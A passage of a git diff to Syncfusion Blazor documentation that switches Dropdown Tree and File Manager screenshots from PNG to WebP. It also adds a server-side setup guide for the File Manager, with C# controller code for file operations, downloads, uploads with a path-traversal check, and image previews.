+![Selection in Blazor Dropdown Tree.](./images/selection/blazor-dropdowntree-single-selection.webp)
 
 ## Multi Selection 
 
@@ -93,4 +93,4 @@ In the following example, the [AllowMultiSelection](https://help.syncfusion.com/
 }
 ```
 
-![MultiSelection in Blazor Dropdown Tree.](./images/selection/blazor-dropdowntree-multi-selection.png)
+![MultiSelection in Blazor Dropdown Tree.](./images/selection/blazor-dropdowntree-multi-selection.webp)
diff --git a/blazor/dropdown-tree/sorting.md b/blazor/dropdown-tree/sorting.md
index 751ca72885..498516e9b5 100644
--- a/blazor/dropdown-tree/sorting.md
+++ b/blazor/dropdown-tree/sorting.md
@@ -63,4 +63,4 @@ In the following example, the [SortOrder](https://help.syncfusion.com/cr/blazor/
 }
 ```
 
-![Blazor Dropdown Tree with sortOrder descending.](./images/blazor-dropdowntree-component-sort-order.png)
\ No newline at end of file
+![Blazor Dropdown Tree with sortOrder descending.](./images/blazor-dropdowntree-component-sort-order.webp)
\ No newline at end of file
diff --git a/blazor/dropdown-tree/style.md b/blazor/dropdown-tree/style.md
index 8807026387..258e2cf378 100644
--- a/blazor/dropdown-tree/style.md
+++ b/blazor/dropdown-tree/style.md
@@ -49,7 +49,7 @@ Specify the boolean value to the [Disabled](https://help.syncfusion.com/cr/blazo
 }
 ```
 
-![Blazor Dropdown Tree with Disabled ](./images/styles/blazor-dropdowntree-component-disabled.png)
+![Blazor Dropdown Tree with Disabled ](./images/styles/blazor-dropdowntree-component-disabled.webp)
 
 ## CssClass  
 
@@ -97,7 +97,7 @@ Some of the predefined values are
 }
 ```
 
-![Blazor Dropdown Tree with CssClass property](./images/styles/blazor-dropdowntree-component-cssclas.png)
+![Blazor Dropdown Tree with CssClass property](./images/styles/blazor-dropdowntree-component-cssclass.webp)
 
 ## Show the custom icon in dropdown icon
 
@@ -109,7 +109,7 @@ You can customize the dropdown [icon](https://ej2.syncfusion.com/documentation/a
 }
 ```
 
-![Blazor Dropdown Tree with dropdown icon](./images/styles/blazor-dropdowntree-component-arrow.png)
+![Blazor Dropdown Tree with dropdown icon](./images/styles/blazor-dropdowntree-component-arrow.webp)
 
 You can customize the dropdown icon for the particular component using the [CssClass](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfDropDownTree-2.html#Syncfusion_Blazor_Navigations_SfDropDownTree_2_CssClass) property and add style to the custom class which is mapped to `CssClass`.
 
@@ -165,7 +165,7 @@ You can customize the dropdown [icon](https://ej2.syncfusion.com/documentation/a
 }
 ```
 
-![Blazor Dropdown Tree icon color](./images/styles/blazor-dropdowntree-component-icon.png)
+![Blazor Dropdown Tree icon color](./images/styles/blazor-dropdowntree-component-icon.webp)
 
 ## Replace the dropdown icon with svg
 
@@ -208,7 +208,7 @@ To replace the default dropdown icon in the Dropdown Tree component with an SVG,
 </style>
 ```
 
-![Blazor Dropdown Tree svg icon](./images/styles/blazor-dropdowntree-component-svg.png)
+![Blazor Dropdown Tree svg icon](./images/styles/blazor-dropdowntree-component-svg.webp)
 
 ## Customizing the appearance of container element
 
@@ -223,7 +223,7 @@ You can customize the appearance of the container element within the Dropdown Tr
 }
 ```
 
-![Blazor Dropdown Tree container element customization](./images/styles/blazor-dropdowntree-component-container.png)
+![Blazor Dropdown Tree container element customization](./images/styles/blazor-dropdowntree-component-container.webp)
 
 ## Customizing the focus color
 
@@ -235,7 +235,7 @@ You can customize the component color when it is focused by targeting its CSS cl
 }
 ```
 
-![Blazor Dropdown Tree focus color](./images/styles/blazor-dropdowntree-component-focus.png)
+![Blazor Dropdown Tree focus color](./images/styles/blazor-dropdowntree-component-focus.webp)
 
 ## Customizing the outline theme's focus color
 
@@ -285,7 +285,7 @@ You can customize the color of the Dropdown Tree component when it is in a focus
 </style>
 ```
 
-![Blazor Dropdown Tree focusing color outline theme](./images/styles/blazor-dropdowntree-component-outline.png)
+![Blazor Dropdown Tree focusing color outline theme](./images/styles/blazor-dropdowntree-component-outline.webp)
 
 ## Customizing the background color of focus, hover, and active items
 
@@ -299,7 +299,7 @@ You can customize the background color and text color of list items within the D
 }
 ```
 
-![Blazor Dropdown Tree with customizing the focus, hover and active item color](./images/styles/blazor-dropdowntree-component-active.png)
+![Blazor Dropdown Tree with customizing the focus, hover and active item color](./images/styles/blazor-dropdowntree-component-active.webp)
 
 ## Customizing the appearance of pop-up element
 
@@ -312,7 +312,7 @@ You can customize the appearance of the popup element within the Dropdown Tree c
  }
 ```
 
-![Blazor Dropdown Tree with customizing popup color](./images/styles/blazor-dropdowntree-component-popup.png)
+![Blazor Dropdown Tree with customizing popup color](./images/styles/blazor-dropdowntree-component-popup.webp)
 
 ## Change the HTML attributes
 
@@ -358,7 +358,7 @@ Add the additional html attributes such as styles, class, and more to the root e
 }
 ```
 
-![Blazor Dropdown Tree with different font family](./images/styles/blazor-dropdowntree-component-html-attribute.png)
+![Blazor Dropdown Tree with different font family](./images/styles/blazor-dropdowntree-component-html-attribute.webp)
 
 ## Set the various font family for Dropdown Tree elements
 
@@ -418,7 +418,7 @@ In the following sample, the font family of the Dropdown Tree, ListItem text in
 </style>
 ```
 
-![Blazor Dropdown Tree with different font family](./images/styles/blazor-dropdowntree-component-font.png)
+![Blazor Dropdown Tree with different font family](./images/styles/blazor-dropdowntree-component-font.webp)
 
 ## Show tooltip on list item
 
@@ -494,7 +494,7 @@ The following code demonstrates how to display a tooltip when hovering over the
 }
 ```
 
-![Blazor Dropdown Tree with different font family](./images/styles/blazor-dropdowntree-component-tooltip.png)
+![Blazor Dropdown Tree with different font family](./images/styles/blazor-dropdowntree-component-tooltip.webp)
 
 ### Tooltip using HTMLAttribute in Dropdown Tree component
 
@@ -623,4 +623,4 @@ In the following example, by enabling the `TextWrap` the selected items will app
 }
 ```
 
-![Blazor Dropdown Tree with TextWrap property.](./images/styles/blazor-dropdowntree-component-textwrap.png)
+![Blazor Dropdown Tree with TextWrap property.](./images/styles/blazor-dropdowntree-component-textwrap.webp)
diff --git a/blazor/dropdown-tree/templates.md b/blazor/dropdown-tree/templates.md
index 67db2c9e95..a982c7efaa 100644
--- a/blazor/dropdown-tree/templates.md
+++ b/blazor/dropdown-tree/templates.md
@@ -61,7 +61,7 @@ The variable `context` holds the data of the current node.
 }
 ```
 
-![Blazor Dropdown Tree with ItemTemplate.](./images/template/blazor-dropdowntree-item-template.png)
+![Blazor Dropdown Tree with ItemTemplate.](./images/template/blazor-dropdowntree-item-template.webp)
 
 ## Value template
 
@@ -111,7 +111,7 @@ The template expression can be provided directly inside the `ValueTemplate`, as
 
 ```
 
-![Blazor Dropdown Tree with ValueTemplate.](./images/template/blazor-dropdowntree-value-template.png)
+![Blazor Dropdown Tree with ValueTemplate.](./images/template/blazor-dropdowntree-value-template.webp)
 
 ## Header template
 
@@ -171,7 +171,7 @@ In the following sample, the header is customized with the custom element.
 </style>
 ```
 
-![Blazor Dropdown Tree with HeaderTemplate.](./images/template/blazor-dropdowntree-header-template.png)
+![Blazor Dropdown Tree with HeaderTemplate.](./images/template/blazor-dropdowntree-header-template.webp)
 
 ## Footer template
 
@@ -232,7 +232,7 @@ In the following sample, the footer element displays the total number of employe
 </style>
 ```
 
-![Blazor Dropdown Tree with Footer Template.](./images/template/blazor-dropdowntree-footer-template.png)
+![Blazor Dropdown Tree with Footer Template.](./images/template/blazor-dropdowntree-footer-template.webp)
 
 ## No records template
 
@@ -267,7 +267,7 @@ In the following sample, popup list content displays the notification of no data
 }
 ```
 
-![Blazor Dropdown Tree without Data.](./images/template/blazor-dropdowntree-nodata-template.png)
+![Blazor Dropdown Tree without Data.](./images/template/blazor-dropdowntree-nodata-template.webp)
 
 ## Action failure template
 
@@ -316,7 +316,7 @@ In the following sample, when the data fetch request fails, the Dropdown Tree di
 }
 ```
 
-![Blazor Dropdown Tree with Action Failure Template.](./images/template/blazor-dropdowntree-failure-template.png)
+![Blazor Dropdown Tree with Action Failure Template.](./images/template/blazor-dropdowntree-failure-template.webp)
 
 ## Placeholder
 
@@ -353,7 +353,7 @@ Use the [Placeholder](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Na
 }
 ```
 
-![Blazor Dropdown Tree with place holder.](./images/template/blazor-dropdowntree-placeholder.png)
+![Blazor Dropdown Tree with place holder.](./images/template/blazor-dropdowntree-placeholder.webp)
 
 ## FloatLabel
 
@@ -401,7 +401,7 @@ The `FloatLabelType` as `Auto` is demonstrated in the following code sample.
 }
 ```
 
-![Blazor Dropdown Tree with place holder.](./images/template/blazor-dropdowntree-float-label.png)
+![Blazor Dropdown Tree with place holder.](./images/template/blazor-dropdowntree-float-label.webp)
 
 ## SelectedItem template
 
@@ -458,4 +458,4 @@ In this example, the custom text provided is displayed instead of the text of th
 }
 ```
 
-![Blazor Dropdown Tree with SelectedItem template.](./images/template/blazor-dropdowntree-selecteditem-template.png)
+![Blazor Dropdown Tree with SelectedItem template.](./images/template/blazor-dropdowntree-selecteditem-template.webp)
diff --git a/blazor/dropdown-tree/value-binding.md b/blazor/dropdown-tree/value-binding.md
index 144b99259b..248615cd36 100644
--- a/blazor/dropdown-tree/value-binding.md
+++ b/blazor/dropdown-tree/value-binding.md
@@ -116,7 +116,7 @@ In this example, the selected value is obtained through two-way binding using th
 }
 ```
 
-![Get selected value in Blazor DropDownTree](./images/selection/blazor-dropdowntree-get-selected-value.png)
+![Get selected value in Blazor DropDownTree](./images/selection/blazor-dropdowntree-get-selected-value.webp)
 
 ## Clear Selection
 
diff --git a/blazor/file-manager/end-user-capabilities.md b/blazor/file-manager/end-user-capabilities.md
index 4bc36e6fad..c33b825e59 100644
--- a/blazor/file-manager/end-user-capabilities.md
+++ b/blazor/file-manager/end-user-capabilities.md
@@ -19,7 +19,7 @@ The File Manager UI is comprised of several sections like View, Toolbar, Breadcr
 * [Details view](#details-view) (For browsing files and folders using  details view)
 
 
-![End User Capabilities in Blazor FileManager](./images/blazor-filemanager-user-interface.png)
+![End User Capabilities in Blazor FileManager](./images/blazor-filemanager-user-interface.webp)
 
 The basic File Manager is a light weight component with all the basic functions. The basic File Manager has the following sections in its UI to browse files and folders and manage them with file operations.
 
@@ -27,7 +27,7 @@ The basic File Manager is a light weight component with all the basic functions.
 * [Large icons view](#large-icons-view) (For browsing files and folders)
 * [Context Menu](#context-menu) (For accessing file operations)
 
-![Blazor FileManager](./images/blazor-filemanager.png)
+![Blazor FileManager](./images/blazor-filemanager.webp)
 
 ## Toolbar
 
@@ -37,7 +37,7 @@ If the Toolbar items exceed the size of the Toolbar, then the exceeding Toolbar
 
 Refer [Toolbar](./file-operations.md#toolbar) section in file operations to know more about the buttons present in Toolbar.
 
-![Blazor File Manager with Toolbar](./images/blazor-filemanager-toolbar.png)
+![Blazor File Manager with Toolbar](./images/blazor-filemanager-toolbar.webp)
 
 ## Context Menu
 
@@ -47,7 +47,7 @@ Context menu can be customized using the [ContextMenuSettings](https://help.sync
 
 Refer [Context Menu](https://blazor.syncfusion.com/documentation/file-manager/context-menu) section to know more about the menu items present in Context Menu.
 
-![Blazor File Manager with Context Menu](./images/blazor-filemanager-contextmenu.png)
+![Blazor File Manager with Context Menu](./images/blazor-filemanager-contextmenu.webp)
 
 ## Files and Folders Navigation
 
@@ -60,17 +60,17 @@ The File Manager provides navigation between files and folders using the followi
 
 The navigation pane displays the folder hierarchy of the file system and provides easy navigation to the desired folder. Using [NavigationPaneSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerNavigationPaneSettings.html), minimum and maximum width of the navigation pane can be changed. The navigation pane can be shown or hidden using the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerNavigationPaneSettings.html#Syncfusion_Blazor_FileManager_FileManagerNavigationPaneSettings_Visible) option in the [NavigationPaneSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerNavigationPaneSettings.html).
 
-![Blazor File Manager with Navigation Pane](./images/blazor-filemanager-navigationpane.png)
+![Blazor File Manager with Navigation Pane](./images/blazor-filemanager-navigationpane.webp)
 
 You can customize the appearance of the navigation pane by using the `NavigationPaneTemplate` property. This enables you to modify icons, display text, and include additional elements to suit your application's requirements.
 
-![Blazor File Manager with Navigation Pane Template Output](./images/blazor-filemanager-navigationpane-template.png)
+![Blazor File Manager with Navigation Pane Template Output](./images/blazor-filemanager-navigationpane-template.webp)
 
 ### BreadCrumb
 
 The File Manager provides breadcrumb for navigating to the parent folders. The breadcrumb in the File Manager is responsible for resizing. Whenever the path length exceeds the breadcrumb length, a dropdown button will be added at the starting of the breadcrumb to hold the parent folders adjacent to root.
 
-![Blazor File Manager with BreadCrumb](./images/blazor-filemanager-with-breadcrumb.png)
+![Blazor File Manager with BreadCrumb](./images/blazor-filemanager-with-breadcrumb.webp)
 
 ## Large Icons View
 
@@ -78,17 +78,17 @@ The `Large Icons View` is the default starting view in the FileManager. The view
 
 In the large icons view, the thumbnail icons will be shown in a larger size, which displays the data in a form that best suits their content. For image and video type files, a **preview** will be displayed. Extension thumbnails will be displayed for other type files.
 
-![Blazor File Manager with LargeIconView](./images/blazor-filemanager-largeiconsview.png)
+![Blazor File Manager with LargeIconView](./images/blazor-filemanager-largeiconsview.webp)
 
 The `LargeIconsTemplate` property enables complete customization of how folders and files are rendered in the `Large Icons View`. It allows you to enhance the layout by adding background images, custom file-type icons, and actions such as dropdown menus.
 
-![Blazor FileManager Large Icon View Template Output](./images/blazor-filemanager-template-large-icons-view.png)
+![Blazor FileManager Large Icon View Template Output](./images/blazor-filemanager-template-large-icons-view.webp)
 
 ## Details View
 
 In the details view, the files are displayed in a sorted list order. This file list comprises of several columns of information about the files such as **Name**, **Date Modified**, **Type**, and **Size**. Each file has its own small icon representing the file type. Additional columns can be added using [DetailsViewSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerDetailsViewSettings.html) API. The details view allows you to perform sorting using column header.
 
-![Blazor FileManger with DetailsView](./images/blazor-filemanager-detailsview.png)
+![Blazor FileManger with DetailsView](./images/blazor-filemanager-detailsview.webp)
 
 ## File Operations
 
@@ -119,7 +119,7 @@ You can perform multiple selections by pressing the Ctrl key or Shift key and se
 
 The [FileSelected](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerEvents-1.html#Syncfusion_Blazor_FileManager_FileManagerEvents_1_FileSelected) event will be triggered when an item in the File Manager control is selected or unselected.
 
-![File and folder selection in Blazor FileManger](./images/blazor-filemanager-selection.png)
+![File and folder selection in Blazor FileManger](./images/blazor-filemanager-selection.webp)
 
 ### Create, Rename, Delete a File or Folder
 
@@ -127,9 +127,9 @@ In the Blazor File Manager component, you can perform the [**create**](https://b
 
 Refer to the [Toolbar](./file-operations.md#toolbar) and [Context Menu](./context-menu.md#context-menu-in-blazor-filemanager-component) sections to learn more about the items that are present in the Toolbar and Context Menu.
 
-![Create a folder in Blazor FileManger](./images/blazor-filemanager-create-operation.png)
+![Create a folder in Blazor FileManger](./images/blazor-filemanager-create-operation.webp)
 
-![Rename, delete a folder in Blazor FileManger](./images/blazor-filemanager-rename-delete.png)
+![Rename, delete a folder in Blazor FileManger](./images/blazor-filemanager-rename-delete.webp)
 
 ### Moving File or Folder
 
@@ -145,9 +145,9 @@ In the Blazor File Manager component, you can perform the [upload](https://blazo
 
 Refer to the [Toolbar](https://blazor.syncfusion.com/documentation/file-manager/file-operations#toolbar) and [Context Menu](https://blazor.syncfusion.com/documentation/file-manager/context-menu) sections to learn more about the items that are present in the Toolbar and Context Menu.
 
-![Upload a file in Blazor FileManger](./images/blazor-filemanager-upload-operation.png)
+![Upload a file in Blazor FileManger](./images/blazor-filemanager-upload-operation.webp)
 
-![Download a file in Blazor FileManger](./images/blazor-filemanager-download-operation.png)
+![Download a file in Blazor FileManger](./images/blazor-filemanager-download-operation.webp)
 
 ### Upload Files or Folders via context menu
 
@@ -155,15 +155,15 @@ In the Blazor File Manager component, you can perform the files or folder [uploa
 
 Refer to the [Context Menu](https://blazor.syncfusion.com/documentation/file-manager/context-menu) sections to learn more about the items that are present in Context Menu.
 
-![Upload a file in Blazor FileManger](./images/blazor-filemanager-fileupload.png)
+![Upload a file in Blazor FileManger](./images/blazor-filemanager-fileupload.webp)
 
-![Download a folder in Blazor FileManger](./images/blazor-filemanager-folderupload.png)
+![Download a folder in Blazor FileManger](./images/blazor-filemanager-folderupload.webp)
 
 ### Searching Files and Folders
 
 In the Blazor File Manager component, you are able to [search](https://blazor.syncfusion.com/documentation/file-manager/file-operations#searching-files-and-folders) for the wanted files and folders using the default input search functionality option.
 
-![Searching files and folders in Blazor FileManger](./images/blazor-filemanager-search-operation.png)
+![Searching files and folders in Blazor FileManger](./images/blazor-filemanager-search-operation.webp)
 
 ### Cut, Copy, and Paste
 
@@ -171,4 +171,4 @@ You can perform the **cut**, **copy**(https://blazor.syncfusion.com/documentatio
 
 Refer to the [Toolbar](https://blazor.syncfusion.com/documentation/file-manager/file-operations#toolbar)and [Context Menu](https://blazor.syncfusion.com/documentation/file-manager/context-menu) sections to learn more about the items that are present in the Toolbar and Context Menu.
 
-![File operations in Blazor FileManager](./images/blazor-filemanager-cut-copy-paste.png)
\ No newline at end of file
+![File operations in Blazor FileManager](./images/blazor-filemanager-cut-copy-paste.webp)
\ No newline at end of file
diff --git a/blazor/file-manager/file-operations.md b/blazor/file-manager/file-operations.md
index 8ada490923..64f03b9345 100644
--- a/blazor/file-manager/file-operations.md
+++ b/blazor/file-manager/file-operations.md
@@ -1033,9 +1033,9 @@ namespace FileManager.Data
 {% endhighlight %}
 {% endtabs %}
 
-![custom sorting in large icons view](images/blazor-filemanager-largeicons-custom-sorting.png)
+![custom sorting in large icons view](images/blazor-filemanager-largeicons-custom-sorting.webp)
 
-![custom sorting in details view](images/blazor-filemanager-detailsview-custom-sorting.png)
+![custom sorting in details view](images/blazor-filemanager-detailsview-custom-sorting.webp)
 
 ## Uploading Files
 
@@ -1827,3 +1827,351 @@ The following table provides the toolbar buttons that appear based on the select
         </td>
     </tr>
 </table>
+
+## Server-side Configuration
+
+This documentation outlines the server-side implementation and configuration required for enabling comprehensive file management operations in the Syncfusion Blazor File Manager component.
+
+### Create Models
+
+Create a new folder named `Models` in the server project. Add the necessary model files to this folder for handling file operations. Download the `PhysicalFileProvider.cs` and `Base` folder from this [repository](https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/tree/master/Models) and place them in the Models folder.
+
+### Create a new folder Controllers
+
+To initialize a local service, create a new folder named `Controllers` inside the server part of the project. Then, create a new file `FileManagerController` with extension `.cs` inside the `Controllers` folder.
+
+Make sure your controller `FileManagerController.cs` uses the model classes you've created. Import the model namespace at the top of your controller file
+
+File Manager's base functions are available in the following namespace.
+```cshtml
+using Syncfusion.EJ2.FileManager.Base;
+````
+File Manager's operations are available in the following namespace.
+````cshtml
+using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
+````
+
+### Initialize the service in controller
+
+File Manager supports the basic file actions like Read, Delete, Copy, Move, Get Details, Search, Rename, and Create New Folder.
+To perform the action add the following code in that `FileManagerController.cs` file.
+
+{% tabs %}
+{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
+
+using Microsoft.AspNetCore.Mvc;
+using System;
+using System.Collections.Generic;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.Http.Features;
+//File Manager's base functions are available in the below namespace.
+using Syncfusion.EJ2.FileManager.Base;
+//File Manager's operations are available in the below namespace.
+using Syncfusion.EJ2.FileManager.PhysicalFileProvider;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+
+namespace filemanager.Server.Controllers
+{
+    [Route("api/[controller]")]
+    public class FileManagerController : Controller
+    {
+        public PhysicalFileProvider operation;
+        public string basePath;
+        string root = "wwwroot\\Files";
+        [Obsolete]
+        public FileManagerController(IWebHostEnvironment hostingEnvironment)
+        {
+            this.basePath = hostingEnvironment.ContentRootPath;
+            this.operation = new PhysicalFileProvider();
+            this.operation.RootFolder(this.basePath + "\\" + this.root); // It denotes in which files and folders are available.
+        }
+
+        // Processing the File Manager operations.
+        [Route("FileOperations")]
+        public object FileOperations([FromBody] FileManagerDirectoryContent args)
+        {
+            switch (args.Action)
+            {
+                // Add your custom action here.
+                case "read":
+                    // Path - Current path; ShowHiddenItems - Boolean value to show/hide hidden items.
+                    return this.operation.ToCamelCase(this.operation.GetFiles(args.Path, args.ShowHiddenItems));
+                case "delete":
+                    // Path - Current path where the folder to be deleted; Names - Name of the files to be deleted
+                    return this.operation.ToCamelCase(this.operation.Delete(args.Path, args.Names));
+                case "copy":
+                    //  Path - Path from where the file was copied; TargetPath - Path where the file/folder is to be copied; RenameFiles - Files with same name in the copied location that is confirmed for renaming; TargetData - Data of the copied file
+                    return this.operation.ToCamelCase(this.operation.Copy(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
+                case "move":
+                    // Path - Path from where the file was cut; TargetPath - Path where the file/folder is to be moved; RenameFiles - Files with same name in the moved location that is confirmed for renaming; TargetData - Data of the moved file
+                    return this.operation.ToCamelCase(this.operation.Move(args.Path, args.TargetPath, args.Names, args.RenameFiles, args.TargetData));
+                case "details":
+                    // Path - Current path where details of file/folder is requested; Name - Names of the requested folders
+                    return this.operation.ToCamelCase(this.operation.Details(args.Path, args.Names));
+                case "create":
+                    // Path - Current path where the folder is to be created; Name - Name of the new folder
+                    return this.operation.ToCamelCase(this.operation.Create(args.Path, args.Name));
+                case "search":
+                    // Path - Current path where the search is performed; SearchString - String typed in the searchbox; CaseSensitive - Boolean value which specifies whether the search must be casesensitive
+                    return this.operation.ToCamelCase(this.operation.Search(args.Path, args.SearchString, args.ShowHiddenItems, args.CaseSensitive));
+                case "rename":
+                    // Path - Current path of the renamed file; Name - Old file name; NewName - New file name
+                    return this.operation.ToCamelCase(this.operation.Rename(args.Path, args.Name, args.NewName));
+            }
+            return null;
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> For standalone Blazor WASM applications, the service from this [link](https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/) can be used. This service is an ASP.NET Core project that acts as the backend API for your File Manager
+
+To configure and map the controller, open the `~/Program.cs` file of the server part of the application. Add the following code to configure the service for the controller and map the controller after `app.UseRouting()`. The `app.UseRouting()` middleware should be placed after `app.UseHttpsRedirection()`. The correct ordering is essential to ensure proper request handling and middleware functionality:
+
+```cshtml
+
+builder.Services.AddControllers();
+
+...
+
+app.UseRouting();
+app.MapControllers();
+
+```
+
+This will configure and map the controller in your Blazor App.
+
+## Add File Manager to the Application
+
+After configuring the server-side service, integrate the Syncfusion® Blazor File Manager component into the application by creating a dedicated Razor component.
+
+### Create the Razor Component
+
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in `.razor` file inside the `Pages` folder.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.FileManager
+
+<SfFileManager TValue="FileManagerDirectoryContent">
+    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations">
+    </FileManagerAjaxSettings>
+</SfFileManager>
+
+{% endhighlight %}
+{% endtabs %}
+
+Add your required files and folders under the `wwwroot\Files` directory.
+
+* In your  project, the `wwwroot` directory is where static files are served from. It is typically found at the root level of your server project.
+* Inside the `wwwroot` directory, create a new folder named `Files`. This will be used to store static files like images, documents, or other resources that you want to serve directly.
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component in the default web browser.
+
+![Blazor File Manager Component](images/blazor-filemanager-component.webp)
+
+N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/FileManager).
+
+### Blazor Web App: Configure interactive render mode
+
+Blazor supports different interactive modes for server-side rendering:
+
+* Interactive Server Render Mode: This mode allows Blazor components to be rendered on the server, sending the HTML to the client while maintaining interactive capabilities. It provides a balance between server-side processing and client-side responsiveness.
+
+* To enable this mode, configure the `Program.cs` file in your Blazor  project using the `AddInteractiveServerRenderMode` method.
+````cshtml
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents();
+````
+Define a render mode at top of the component, as follows:
+
+{% tabs %}
+{% highlight razor %}
+
+@* desired render mode define here *@
+@rendermode InteractiveServer
+
+{% endhighlight %}
+{% endtabs %}
+
+## Ajax Settings Configuration
+
+The Ajax Settings configuration allows you to define the endpoints for file operations, upload, download, and image preview functionality in the File Manager.
+
+### File download support
+
+To perform the download operation, initialize the [DownloadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_DownloadUrl) property in a FileManagerAjaxSettings.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.FileManager
+
+<SfFileManager TValue="FileManagerDirectoryContent">
+    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
+                                DownloadUrl="/api/FileManager/Download">
+    </FileManagerAjaxSettings>
+</SfFileManager>
+
+{% endhighlight %}
+{% endtabs %}
+
+Initialize the `Download` FileOperation in Controller part with the following code snippet.
+
+{% tabs %}
+{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
+
+namespace filemanager.Server.Controllers
+{
+    [Route("api/[controller]")]
+    public class FileManagerController : Controller
+    {
+        // Processing the Download operation.
+        [Route("Download")]
+        public IActionResult Download(string downloadInput)
+        {
+            var options = new JsonSerializerOptions
+            {
+                PropertyNamingPolicy = JsonNamingPolicy.CamelCase,
+            };
+            FileManagerDirectoryContent args = JsonSerializer.Deserialize<FileManagerDirectoryContent>(downloadInput, options);
+            return operation.Download(args.Path, args.Names, args.Data);
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+### File upload support
+
+To perform the upload operation, initialize the [UploadUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_UploadUrl) property in a FileManagerAjaxSettings.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.FileManager
+
+<SfFileManager TValue="FileManagerDirectoryContent">
+    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
+                                UploadUrl="/api/FileManager/Upload">
+    </FileManagerAjaxSettings>
+</SfFileManager>
+
+{% endhighlight %}
+{% endtabs %}
+
+Initialize the `Upload` File Operation in Controller part with the following code snippet.
+
+{% tabs %}
+{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
+
+namespace filemanager.Server.Controllers
+{
+    [Route("api/[controller]")]
+    public class FileManagerController : Controller
+    {
+        // Processing the Upload operation.
+        [Route("Upload")]
+        [DisableRequestSizeLimit]
+        public IActionResult Upload(string path, long size, IList<IFormFile> uploadFiles, string action)
+        {
+            try
+            {
+                FileManagerResponse uploadResponse;
+                foreach (var file in uploadFiles)
+                {
+                    var folders = (file.FileName).Split('/');
+                    // checking the folder upload
+                    if (folders.Length > 1)
+                    {
+                        for (var i = 0; i < folders.Length - 1; i++)
+                        {
+                            string newDirectoryPath = Path.Combine(this.basePath + path, folders[i]);
+                            if (Path.GetFullPath(newDirectoryPath) != (Path.GetDirectoryName(newDirectoryPath) + Path.DirectorySeparatorChar + folders[i]))
+                            {
+                                throw new UnauthorizedAccessException("Access denied for Directory-traversal");
+                            }
+                            if (!Directory.Exists(newDirectoryPath))
+                            {
+                                this.operation.ToCamelCase(this.operation.Create(path, folders[i]));
+                            }
+                            path += folders[i] + "/";
+                        }
+                    }
+                }
+                uploadResponse = operation.Upload(path, uploadFiles, action, size, null);
+                if (uploadResponse.Error != null)
+                {
+                    Response.Clear();
+                    Response.ContentType = "application/json; charset=utf-8";
+                    Response.StatusCode = Convert.ToInt32(uploadResponse.Error.Code);
+                    Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = uploadResponse.Error.Message;
+                }
+            }
+            catch (Exception e)
+            {
+                ErrorDetails er = new ErrorDetails();
+                er.Message = e.Message.ToString();
+                er.Code = "417";
+                er.Message = "Access denied for Directory-traversal";
+                Response.Clear();
+                Response.ContentType = "application/json; charset=utf-8";
+                Response.StatusCode = Convert.ToInt32(er.Code);
+                Response.HttpContext.Features.Get<IHttpResponseFeature>().ReasonPhrase = er.Message;
+                return Content("");
+            }
+            return Content("");
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+### Image preview support
+
+To perform image preview support in the File Manager component, initialize the [GetImageUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html#Syncfusion_Blazor_FileManager_FileManagerAjaxSettings_GetImageUrl) property in a FileManagerAjaxSettings.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.FileManager
+
+<SfFileManager TValue="FileManagerDirectoryContent">
+    <FileManagerAjaxSettings Url="/api/FileManager/FileOperations"
+                                GetImageUrl="/api/FileManager/GetImage">
+    </FileManagerAjaxSettings>
+</SfFileManager>
+
+{% endhighlight %}
+{% endtabs %}
+
+Initialize the `GetImage` File Operation in Controller part with the following code snippet.
+
+{% tabs %}
+{% highlight cs tabtitle="Controllers/FileManagerController.cs" %}
+
+namespace filemanager.Server.Controllers
+{
+    [Route("api/[controller]")]
+    public class FileManagerController : Controller
+    {
+        // Processing the GetImage operation.
+        [Route("GetImage")]
+        public IActionResult GetImage(FileManagerDirectoryContent args)
+        {
+            return this.operation.GetImage(args.Path, args.Id,false,null, null);
+        }
+    }
+}
+
+{% endhighlight %}
